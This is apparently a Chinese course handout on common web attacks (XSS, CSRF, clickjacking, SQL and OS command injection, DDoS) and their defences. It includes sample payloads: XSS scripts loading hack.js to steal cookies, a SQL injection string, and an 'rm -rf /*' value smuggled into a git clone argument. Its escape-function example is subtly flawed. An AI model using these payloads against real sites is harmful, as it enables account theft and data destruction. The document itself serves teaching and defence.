常见Web攻击

一、课前准备

一、课堂主题

二、课堂目标

- 掌握XSS (实施 + 防御)
- 掌握CSRF (实施 + 防御)
- 掌握点击劫持 (实施 + 防御)
- 掌握SQL注入 (实施 + 防御)
- 掌握OS注入 (实施 + 防御)
- 了解请求劫持
- 了解DDOS

四、知识要点

1、XSS

Cross Site Scripting

跨站脚本攻击

XSS (Cross-Site Scripting),跨站脚本攻击,因为缩写和 CSS重叠,所以只能叫 XSS。跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的非本站点HTML标签或 JavaScript进行的一种攻击。

跨站脚本攻击有可能造成以下影响:

- 利用虚假输入表单骗取用户个人信息。
- 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
- 显示伪造的文章或图片。

XSS攻击分类

● 反射型 - url参数直接注入

// 普通

http://localhost:3000/?from=china

// alert尝试

http://localhost:3000/?from=<script>alert(3)</script>

```
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>

// 短域名伪造 https://dwz.cn/

// 伪造cookie入侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUz
NTY1MDAxODYxLCJfbwF4QwdlIjo4NjQwMDAwMH0="
```

• 存储型 - 存储到DB后读取时注入

```
// 评论
<script>alert(1)</script>

// 跨站脚本注入
我来了<script src="http://localhost:4000/hack.js"></script>
```

XSS攻击的危害 - Scripting能干啥就能干啥

- 获取页面数据
- 获取Cookies
- 劫持前端逻辑
- 发送请求
- 偷取网站的任意数据
- 偷取用户的资料
- 偷取用户的秘密和登录态
- 欺骗用户

防范手段

ejs转义小知识

```
<% code %>用于执行其中javascript代码;
<%= code %>会对code进行html转义;
<%- code %>将不会进行转义
```

HEAD

```
ctx.set('X-XSS-Protection', 0) // 禁止XSS过滤
// http://localhost:3000/?from=<script>alert(3)</script> 可以拦截 但伪装一下就不行了
```

0禁止XSS过滤。

1 启用XSS过滤(通常浏览器是默认的)。 如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部分)。

1;mode=block 启用XSS过滤。 如果检测到攻击,浏览器将不会清除页面,而是阻止页面加载。

1; report= (Chromium only)

启用XSS过滤。 如果检测到跨站脚本攻击,浏览器将清除页面并使用CSP <u>report-uri</u> 指令的功能发送违规报告。

CSP

内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注入等攻击。 这些攻击可用于实现从数据窃取到 网站破坏或作为恶意软件分发版本等用途。

CSP 本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击。

```
// 只允许加载本站资源
Content-Security-Policy: default-src 'self'

// 只允许加载 HTTPS 协议图片
Content-Security-Policy: img-src https://*

// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'
```

```
ctx.set('Content-Security-Policy', "default-src 'self'")
// 尝试一下外部资源不能加载
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
```

• 转义字符

● 黑名单

用户的输入永远不可信任的,最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠 进行转义

```
function escape(str) {
   str = str.replace(/&/g, '&')
   str = str.replace(/</g, '&lt;')
   str = str.replace(/>/g, '&gt;')
   str = str.replace(/"/g, '&quto;')
   str = str.replace(/"/g, '&#39;')
   str = str.replace(/`/g, '&#96;')
   str = str.replace(/\//g, '&#x2F;')
   return str
}
```

富文本来说,显然不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。对于这种情况,通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使用白名单的方式。

● 白名单

```
const xss = require('xss')
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
// -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;
console.log(html)
```

HttpOnly Cookie

这是预防XSS攻击窃取用户cookie最有效的防御手段。Web应 用程序在设置cookie时,将其属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息。

```
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
```

2、CSRF

CSRF(Cross Site Request Forgery),即跨站请求伪造,是一种常见的Web攻击,它利用用户已登录的身份,在用户毫不知情的情况下,以用户的名义完成非法操作。

- 用户已经登录了站点 A,并在本地记录了 cookie
- 在用户没有登出站点 A 的情况下(也就是 cookie 生效的情况下),访问了恶意攻击者提供的引诱 危险站点 B (B 站点要求访问站点A)。
- 站点 A 没有做任何 CSRF 防御

```
登录 http://localhost:4000/csrf.html
```

CSRF攻击危害

- 利用用户登录态
- 用户不知情

- 完成业务请求
- 盗取用户资金 (转账,消费)
- 冒充用户发帖背锅
- 损害网站声誉

防御

- 禁止第三方网站带Cookie 有兼容性问题
- Referer Check Https不发送referer

```
app.use(async (ctx, next) => {
    await next()
const referer = ctx.request.header.referer
    console.log('Referer:', referer)
})
```

• 验证码

3、点击劫持 - clickjacking

点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过 iframe 嵌套的方式嵌入自己的网页中,并将 iframe 设置为透明,在页面中透出一个按钮诱导用户点击。

```
// 登录
http://localhost:4000/clickjacking.html
```

防御

X-FRAME-OPTIONS

X-FRAME-OPTIONS 是一个 HTTP 响应头,在现代浏览器有一个很好的支持。这个 HTTP 响应头 就是为了防御用 iframe 嵌套的点击劫持攻击。

该响应头有三个值可选, 分别是

- o DENY,表示页面不允许通过 iframe 的方式展示
- 。 SAMEORIGIN,表示页面可以在相同域名下通过 iframe 的方式展示
- 。 ALLOW-FROM, 表示页面可以在指定来源的 iframe 中展示

```
ctx.set('X-FRAME-OPTIONS', 'DENY')
```

● JS方式

<head>

```
<style id="click-jack">
   html {
     display: none !important;
   }
 </style>
</head>
<body>
 <script>
   if (self == top) {
     var style = document.getElementById('click-jack')
     document.body.removeChild(style)
   } else {
     top.location = self.location
 </script>
</body>
```

以上代码的作用就是当通过 iframe 的方式加载页面时,攻击者的网页直接不显示所有内容了。

SQL注入

```
// 填入特殊密码
1'or'1'='1
// 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'
```

防御

● 所有的查询语句建议使用数据库提供的参数化查询接口**,参数化的语句使用参数而不是将用户 输入变量嵌入到 SQL 语句中,即不要直接拼接 SQL 语句。例如 Node.js 中的 mysqljs 库的 query 方法中的?占位参数。

```
// 错误写法
const sql = 
   SELECT *
    FROM test.user
   WHERE username = '${ctx.request.body.username}'
   AND password = '${ctx.request.body.password}'
   console.log('sql', sql)
    res = await query(sql)
```

```
// 正确的写法
const sql = `
SELECT *
FROM test.user
WHERE username = ?
AND password = ?

console.log('sql', sql, )
res = await query(sql,[ctx.request.body.username, ctx.request.body.password])
```

- 严格限制Web应用的数据库的操作权限**,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害
- 后端代码检查输入的数据是否符合预期**,严格限制变量的类型,例如使用正则表达式进行一些 匹配处理。
- 对进入数据库的特殊字符(', ", \, <, >, &, *, ;等)进行转义处理,或编码转换**。基本上所有的后端语言都有对字符串进行转义处理的方法,比如 lodash 的 lodash._escapehtmlchar 库。

OS命令注入

OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的。OS命令注入攻击指通过Web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险。倘若调用Shell时存在疏漏,就可以执行插入的非法命令。

```
// 以 Node.js 为例,假如在接口中需要从 github 下载用户指定的 repo const exec = require('mz/child_process').exec; let params = {/* 用户输入的参数 */}; exec(`git clone ${params.repo} /some/path`);
```

如果传入的参数是会怎样

```
https://github.com/xx/xx.git && rm -rf /* &&
```

请求劫持

DNS劫持

顾名思义,DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的 ip

● HTTP劫持 运营商劫持,此时大概只能升级HTTPS了

DDOS

distributed denial of service

DDOS 不是一种攻击,而是一大类攻击的总称。它有几十种类型,新的攻击方法还在不断发明出来。网站运行的各个环节,都可以是攻击目标。只要把一个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的目的。

其中,比较常见的一种攻击是 cc 攻击。它就是简单粗暴地送来大量正常的请求,超出服务器的最大承受量,导致宕机。我遭遇的就是 cc 攻击,最多的时候全世界大概20多个 IP 地址轮流发出请求,每个地址的请求量在每秒200次~300次。我看访问日志的时候,就觉得那些请求像洪水一样涌来,一眨眼就是一大堆,几分钟的时间,日志文件的体积就大了100MB。说实话,这只能算小攻击,但是我的个人网站没有任何防护,服务器还是跟其他人共享的,这种流量一来立刻就下线了。

常见攻击方式

SYN Flood

此攻击通过向目标发送具有欺骗性源IP地址的大量TCP"初始连接请求"SYN数据包来利用TCP握手。目标机器响应每个连接请求,然后等待握手中的最后一步,这一步从未发生过,耗尽了进程中的目标资源。

HTTP Flood

此攻击类似于同时在多个不同计算机上反复按Web浏览器中的刷新-大量HTTP请求泛滥服务器,导致拒绝服务。

防御手段

- 备份网站

备份网站不一定是全功能的,如果能做到全静态浏览,就能满足需求。最低限度应该可以显示公告,告诉 用户,网站出了问题,正在全力抢修。

- HTTP 请求的拦截 高防IP 靠谱的运营商 多个 Docker 硬件 服务器 防火墙
- 带宽扩容 + CDN 提高犯罪成本